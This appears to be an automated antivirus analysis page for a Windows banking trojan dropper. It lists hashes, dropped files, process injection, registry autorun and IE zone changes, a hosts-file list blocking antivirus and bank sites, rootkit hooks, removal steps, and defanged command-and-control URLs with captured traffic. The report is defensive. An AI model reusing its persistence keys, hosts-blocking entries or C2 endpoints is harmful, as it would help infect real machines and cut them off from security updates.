Skip to main content

Trojan.Generic.5725040_3a9d59d3c0


Susp_Dropper (Kaspersky), Trojan.Generic.5725040 (AdAware), Backdoor.Win32.PcClient.FD, GenericInjector.YR, Tdl4.YR, BankerGeneric.YR (Lavasoft MAS)Behaviour: Banker, Trojan, Backdoor

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: 3a9d59d3c0513d9e09bdd7cd0913317a

SHA1: 1b72c8254f5d43809b713771d13a3e81a183a765

SHA256: 10418b2dde48dd8742a7b328f689c96eed1d3fa4f74f912798b0b68a5c2f512a

SSDeep: 6144:2bNQlFMXfzDoV6V2cqD0Wny6gqCUdzm6OjeR9igmlmEGipst9syFgPRQzPWSvOo0:YXXo uUqbU6OjeWgmlZGipS yFgPRq5A

Size: 378304 bytes

File type: EXE

Platform: WIN32

Entropy: Packed

PEID: UPolyXv05_v6

Company: no certificate found

Created at: 2009-02-21 21:46:23

Analyzed on: WindowsXP SP3 32-bit

Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

6tbp.exe:568
1EuroP.exe:252
rundll32.exe:1048
3E4U - Old.exe:312
7Rich.exe:600
2IC.exe:1376
%original file name%.exe:204

The Trojan injects its code into the following process(es):

rundll32.exe:1524
Explorer.EXE:884
svchost.exe:1144
spoolsv.exe:1468

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process 6tbp.exe:568 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%WinDir%\cushsgot.dll (110 bytes)

The process 1EuroP.exe:252 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\Scv..bat (168 bytes)

The process 7Rich.exe:600 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\All Users\Documents\b.dll (4 bytes)
%Documents and Settings%\All Users\Documents\dll (39 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\All Users\Documents\b.dll (0 bytes)

The process 2IC.exe:1376 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\4.tmp (601 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\5.tmp (0 bytes)

The process %original file name%.exe:204 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\1EuroP.exe (2392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb2.tmp (7384 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\6tbp.exe (3616 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\3E4U - Old.exe (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\7Rich.exe (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\2IC.exe (4992 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\ic1.exe (3 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\1EuroP.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\6tbp.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\3E4U - Old.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\7Rich.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\2IC.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\ic1.exe (0 bytes)

Registry activity

The process 6tbp.exe:568 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B0 8E 58 67 D2 C0 16 A6 02 C1 09 48 46 F7 05 58"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Wtube]
"Bveqayeweci" = "43 01 38 03 58 05 51 07 41 09 44 0B 48 0D 41 0F"
"Ydapup" = "35 01 34 03 46 05 30 07 38 09 3A 0B 35 0D 3B 0F"

The process 1EuroP.exe:252 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\]
"1806" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "14 6C ED C7 E5 56 D0 E2 4F 34 A5 F6 DA 1F AA F6"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The process rundll32.exe:1524 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "92 76 8D 90 D0 32 75 36 C5 17 06 D2 17 03 0C A8"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Wtube]
"Eqegaqojoqoka" = "183"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Ihoragiqinicim" = "rundll32.exe %WinDir%\cushsgot.dll,Startup"

The process rundll32.exe:1048 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DC 57 5B B7 21 5E 79 4E 1F 38 69 A5 35 C2 71 36"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Wtube]
"Bveqayeweci" = "43 01 38 03 58 05 51 07 41 09 44 0B 48 0D 41 0F"

The process 3E4U - Old.exe:312 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A4 18 39 E6 B1 78 47 F5 D8 77 8D 5E 41 90 E1 FD"

The process 7Rich.exe:600 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DD 70 51 61 9C F5 C1 5A 23 A1 00 77 95 97 BD 8F"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

The process 2IC.exe:1376 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0E 01 52 8A 36 AC 6B B5 48 44 AD C9 F3 BE D0 00"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg3.tmp\1EuroP.exe, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg3.tmp\2IC.exe, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg3.tmp\6tbp.exe, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg3.tmp\7Rich.exe, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg3.tmp\, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\7.tmp,"

The process %original file name%.exe:204 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DF FB 1F 9E 79 85 0E EC 23 7E D5 43 2F 2E 30 06"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg3.tmp\1EuroP.exe,"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg3.tmp]
"2IC.exe" = "Audi"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg3.tmp]
"6tbp.exe" = "FrameDbl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg3.tmp]
"1EuroP.exe" = "5 AVG Alert Manager5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg3.tmp]
"7Rich.exe" = "Tkgnrstjt Ylcmjov Sxltfntut"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg3.tmp]
"ic1.exe" = "Systray .exe stub"
"3E4U - Old.exe" = "Wireless Zero Configuration Service"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Dropped PE files

MD5 File path
cc3ae7aff42766f0ee9be0529eb4c106c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\7.tmp
a52cc7b2ff661297ea4bb9e8fb96e5a2c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsg3.tmp\6tbp.exe
7c64d64803bdfff88c6557e491132925c:\WINDOWS\Temp\8.tmp
12896823fb95bfb3dc9b46bcaedc9923c:\WINDOWS\Temp\explorer.dat
ed0ef0a136dec83df69f04118870003ec:\WINDOWS\Temp\winlogon.dat
a02324105fa9a427c5c3bc68a1a10417c:\WINDOWS\cushsgot.dll
eca0513e59deb25b7efebe418b635e56c:\WINDOWS\system32\b.dll

HOSTS file anomalies

The Trojan modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses. The modified file is 5628 bytes in size. The following strings are added to the hosts file listed below:

127.0.0.182.165.237.14
127.0.0.182.165.250.33
127.0.0.1akamai.avg.com
127.0.0.1antivir.es
127.0.0.1anti-virus.by
127.0.0.1avast.com
127.0.0.1avg.com
127.0.0.1avp.com
127.0.0.1avp.ru
127.0.0.1avp.ru/download/
127.0.0.1avpg.crsi.symantec.com
127.0.0.1backup.avg.cz
127.0.0.1bancoguayaquil.com
127.0.0.1bcpzonasegura.viabcp.com
127.0.0.1bitdefender.com
127.0.0.1clamav.net
127.0.0.1comodo.com
127.0.0.1customer.symantec.com
127.0.0.1dispatch.mcafee.com
127.0.0.1download.mcafee.com
127.0.0.1download.microsoft.com
127.0.0.1downloads.microsoft.com
127.0.0.1downloads1.kaspersky-labs.com
127.0.0.1downloads1.kaspersky-labs.com/products/
127.0.0.1downloads1.kaspersky-labs.com/updates/
127.0.0.1downloads2.kaspersky-labs.com
127.0.0.1downloads2.kaspersky-labs.com/products/
127.0.0.1downloads2.kaspersky-labs.com/updates/
127.0.0.1downloads3.kaspersky-labs.com
127.0.0.1downloads3.kaspersky-labs.com/products/
127.0.0.1downloads3.kaspersky-labs.com/updates/
127.0.0.1downloads4.kaspersky-labs.com
127.0.0.1downloads4.kaspersky-labs.com/products/
127.0.0.1downloads4.kaspersky-labs.com/updates/
127.0.0.1downloads5.kaspersky-labs.com
127.0.0.1downloads5.kaspersky-labs.com/products/
127.0.0.1downloads5.kaspersky-labs.com/updates/
127.0.0.1drweb.com
127.0.0.1emsisoft.com
127.0.0.1eset.com
127.0.0.1eset.com/
127.0.0.1eset.com/download/index.php
127.0.0.1eset.com/joomla/
127.0.0.1eset.com/products/index.php
127.0.0.1eset.es
127.0.0.1fortinet.com
127.0.0.1f-prot.com
127.0.0.1f-secure.com
127.0.0.1gdata.es
127.0.0.1go.microsoft.com
127.0.0.1hacksoft.com.pe
127.0.0.1ikarus.at
127.0.0.1kaspersky.com
127.0.0.1kaspersky.ru
127.0.0.1kaspersky-labs.com
127.0.0.1liveupdate.symantec.com
127.0.0.1liveupdate.symantecliveupdate.com
127.0.0.1macafee.com
127.0.0.1mast.mcafee.com
127.0.0.1mcafee.com
127.0.0.1microsoft.com
127.0.0.1msdn.microsoft.com
127.0.0.1my-etrust.com
127.0.0.1networkassociates.com
127.0.0.1nod32.com
127.0.0.1norman.com
127.0.0.1norton.com
127.0.0.1nprotect.com
127.0.0.1pandasecurity.com
127.0.0.1pandasoftware.com
127.0.0.1pctools.com
127.0.0.1pif.symantec.com
127.0.0.1pifmain.symantec.com
127.0.0.1rads.mcafee.com
127.0.0.1rising-global.com
127.0.0.1scanner.novirusthanks.org
127.0.0.1secure.nai.com
127.0.0.1securityresponse.symantec.com
127.0.0.1service1.symantec.com
127.0.0.1sophos.com
127.0.0.1sunbeltsoftware.com
127.0.0.1support.microsoft.com
127.0.0.1symantec.com
127.0.0.1symantec.com/updates
127.0.0.1threatexpert.com
127.0.0.1trendmicro.com
127.0.0.1u2.eset.com
127.0.0.1u20.eset.com
127.0.0.1u3.eset.com
127.0.0.1u3.eset.com/
127.0.0.1u4.eset.com
127.0.0.1u4.eset.com/
127.0.0.1u7.eset.com
127.0.0.1update.avg.com
127.0.0.1update.microsoft.com
127.0.0.1update.symantec.com
127.0.0.1updates.symantec.com
127.0.0.1updates1.kaspersky-labs.com
127.0.0.1updates2.kaspersky-labs.com
127.0.0.1updates3.kaspersky-labs.com
127.0.0.1us.mcafee.com
127.0.0.1viabcp.com
127.0.0.1virscan.org
127.0.0.1virusbuster.hu
127.0.0.1viruslist.com
127.0.0.1viruslist.ru
127.0.0.1virusscan.jotti.org
127.0.0.1virustotal.com
127.0.0.1windowsupdate.microsoft.com
127.0.0.1www.ahnlab.com
127.0.0.1www.aladdin.com
127.0.0.1www.antivir.es
127.0.0.1www.antiy.net
127.0.0.1www.authentium.com
127.0.0.1www.avast.com
127.0.0.1www.avg.com
127.0.0.1www.avp.com
127.0.0.1www.avp.ru
127.0.0.1www.avp.ru/download/
127.0.0.1www.bitdefender.com
127.0.0.1www.clamav.net
127.0.0.1www.comodo.com
127.0.0.1www.download.mcafee.com
127.0.0.1www.drweb.com
127.0.0.1www.emsisoft.com
127.0.0.1www.eset.com
127.0.0.1www.eset.com/
127.0.0.1www.eset.com/download/index.php
127.0.0.1www.eset.com/joomla/
127.0.0.1www.eset.com/products/index.php
127.0.0.1www.fortinet.com
127.0.0.1www.f-prot.com
127.0.0.1www.f-secure.com
127.0.0.1www.gdata.es
127.0.0.1www.grisoft.com
127.0.0.1www.ikarus.at
127.0.0.1www.kaspersky.com
127.0.0.1www.kaspersky.ru
127.0.0.1www.kaspersky-labs.com
127.0.0.1www.macafee.com
127.0.0.1www.mcafee.com
127.0.0.1www.microsoft.com
127.0.0.1www.my-etrust.com
127.0.0.1www.networkassociates.com
127.0.0.1www.nod32.com
127.0.0.1www.norman.com
127.0.0.1www.norton.com
127.0.0.1www.nprotect.com
127.0.0.1www.pandasecurity.com
127.0.0.1www.pandasoftware.com
127.0.0.1www.pctools.com
127.0.0.1www.rising-global.com
127.0.0.1www.scanner.novirusthanks.org
127.0.0.1www.sophos.com
127.0.0.1www.sunbeltsoftware.com
127.0.0.1www.symantec.com
127.0.0.1www.symantec.com/updates
127.0.0.1www.trendmicro.com
127.0.0.1www.virscan.org
127.0.0.1www.viruslist.com
127.0.0.1www.viruslist.ru
127.0.0.1www.virusscan.jotti.org
127.0.0.1www.virustotal.com
127.0.0.1www.windowsupdate.microsoft.com


Rootkit activity

Using the driver "UNKNOWN" the Trojan controls loading executable images into a memory by installing the Load image notifier.


Using the driver ROOTKITPATH the Trojan intercepts DriverStartIO in a miniport driver of a hard drive controller (ATAPI) to handle request to its own files:

StartIo

Propagation

Removals

Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.

Manual removal*

  1. Scan a system with an anti-rootkit tool.
  2. Terminate malicious process(es) (How to End a Process With the Task Manager):

    6tbp.exe:568
    1EuroP.exe:252
    rundll32.exe:1048
    3E4U - Old.exe:312
    7Rich.exe:600
    2IC.exe:1376
    %original file name%.exe:204

  3. Delete the original Trojan file.
  4. Delete or disinfect the following files created/modified by the Trojan:

    %WinDir%\cushsgot.dll (110 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\Scv..bat (168 bytes)
    %Documents and Settings%\All Users\Documents\b.dll (4 bytes)
    %Documents and Settings%\All Users\Documents\dll (39 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\4.tmp (601 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\1EuroP.exe (2392 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsb2.tmp (7384 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\6tbp.exe (3616 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\3E4U - Old.exe (784 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\7Rich.exe (1856 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\2IC.exe (4992 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsg3.tmp\ic1.exe (3 bytes)

  5. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "Ihoragiqinicim" = "rundll32.exe %WinDir%\cushsgot.dll,Startup"

  6. Restore the original content of the HOSTS file (%System%\drivers\etc\hosts): 127.0.0.1 localhost
  7. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  8. Reboot the computer.
*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text409623458235524.51332cec663f64ef38694dc96bb9f9cb766d
.rdata28672449646083.58909db16645055619c0cc73276ff5c3adb75
.data36864377442410243.26654b9d0aa986d9e766521436f5ad38cd7c5
.ndata38133763276800d41d8cd98f00b204e9800998ecf8427e
.rsrc3846144173620482.018992f2678dd9e97ae3fdffce33f180dbf60

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:


Total found: 78
13ab683047580206713a0f19ebe0427e
09af02fa44c6bf227bb0d6e199a19499
6df0f423fb672c7925de87b12e214f89
6c77646a57ca346f85955675f504c751
52badfde88a0ee73f28b070519156057
35f27015c54bef542f360a7c2ba5c229
09044e8d1e7cb7f6883f983c17d17bcc
0503370605c61ff728ff008dc03a1825
709c892167fce654126edb577421be29
1dc8f3bb2a983d7137276a217b4d705b
0f339065053ebd425e75b23558963750
ca5d6a20d387eb2e49389f6a39636da9
8a2f117c3e780d2a0ee0aefc9602d738
14e473d02dd6b3107715a02a70cfc4ca
450999c36485a084aa7dd1b603da875b
a51b0e4d59528d3c37c089b3920aefe1
2f92f621850cf288ff8a61cc0a7e1034
0092c82b8f71c849b1799747344a0013
848bd0a9a22e7e72609328d19e9ac880
273bae01660db7dac324f798d2c8812b
e612517c3e59b53ffb829dab9699a8f7
5853e9ba1c8d75393dcef359471d5a9e
90eeaf37ac1ec866ddf48f1f56edf745
65b18506a33d72ec059fb281acf7f87e
485f7cc7b007342caccad569a8eb6b44

Network Activity

URLs

URL IP
hxxp://bbfinity.com/pdzqq/ererijznnr.php?adv=adv466&id=-1465484763&c=-183204857208.100.26.234
hxxp://bbfinity.com/pdzqq/xklypptgx.php?adv=adv466&id=-1465484763&c=-183204857208.100.26.234
hxxp://bbfinity.com/pdzqq/zmmmdq.php?adv=adv466&id=-1465484763&c=-183204857208.100.26.234
hxxp://bbfinity.com/pdzqq/sfsswwaoef.php?adv=adv466&id=-1465484763&c=-183204857208.100.26.234
hxxp://bbfinity.com/pdzqq/oxybcg.php?adv=adv466&id=-1465484763&c=-183204857208.100.26.234
hxxp://bbfinity.com/pdzqq/veivm.php?adv=adv466&id=-1465484763&c=-183204857208.100.26.234
hxxp://bbfinity.com/pdzqq/cpdqhuu.php?adv=adv466&id=-1465484763&c=-183204857208.100.26.234
hxxp://bbfinity.com/pdzqq/fsggtxx.php?adv=adv466&id=-1465484763&c=-183204857208.100.26.234
hxxp://bbfinity.com/pdzqq/qanarmz.php?adv=adv466&id=-1465484763&c=-183204857208.100.26.234
hxxp://bbfinity.com/pdzqq/ciivvmnd.php?adv=adv466&id=-1465484763&c=-183204857208.100.26.234
hxxp://bbfinity.com/pdzqq/dreiizm.php?adv=adv466&id=-1465484763&c=-183204857208.100.26.234
hxxp://bbfinity.com/pdzqq/nabfswwnn.php?adv=adv466&id=-1465484763&c=-183204857208.100.26.234
hxxp://bbfinity.com/pdzqq/xlycctxmj.php?adv=adv466&code1=HNIL&code2=0191&id=-1465484763&p=0&b=1&c=-183204857208.100.26.234

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /pdzqq/ererijznnr.php?adv=adv466&id=-1465484763&c=-183204857 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)ver70

Host: bbfinity.com

HTTP/1.1 404 Not Found

Server: nginx/1.4.6 (Ubuntu)

Date: Mon, 05 Sep 2016 19:19:29 GMT

Content-Type: text/html

Content-Length: 579

Connection: keep-alive

<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 404 Not Found..Server: nginx/1.4.6 (Ubuntu)..Date: Mon, 05 Sep 2016 19:19:29 GMT..Content-Type: text/html..Content-Length: 579..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and

<<< skipped >>>

GET /pdzqq/xklypptgx.php?adv=adv466&id=-1465484763&c=-183204857 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)ver70

Host: bbfinity.com

HTTP/1.1 404 Not Found

Server: nginx/1.4.6 (Ubuntu)

Date: Mon, 05 Sep 2016 19:19:31 GMT

Content-Type: text/html

Content-Length: 579

Connection: keep-alive

<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..HTTP/1.1 404 Not Found..Server: nginx/1.4.6 (Ubuntu)..Date: Mon, 05 Sep 2016 19:19:31 GMT..Content-Type: text/html..Content-Length: 579..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.4.6 (Ubuntu)</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and

<<< skipped >>>

GET /pdzqq/zmmmdq.php?adv=adv466&id=-1465484763&c=-183204857 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)ver70

Host: bbfinity.com

HTTP/1.1 404 Not Found

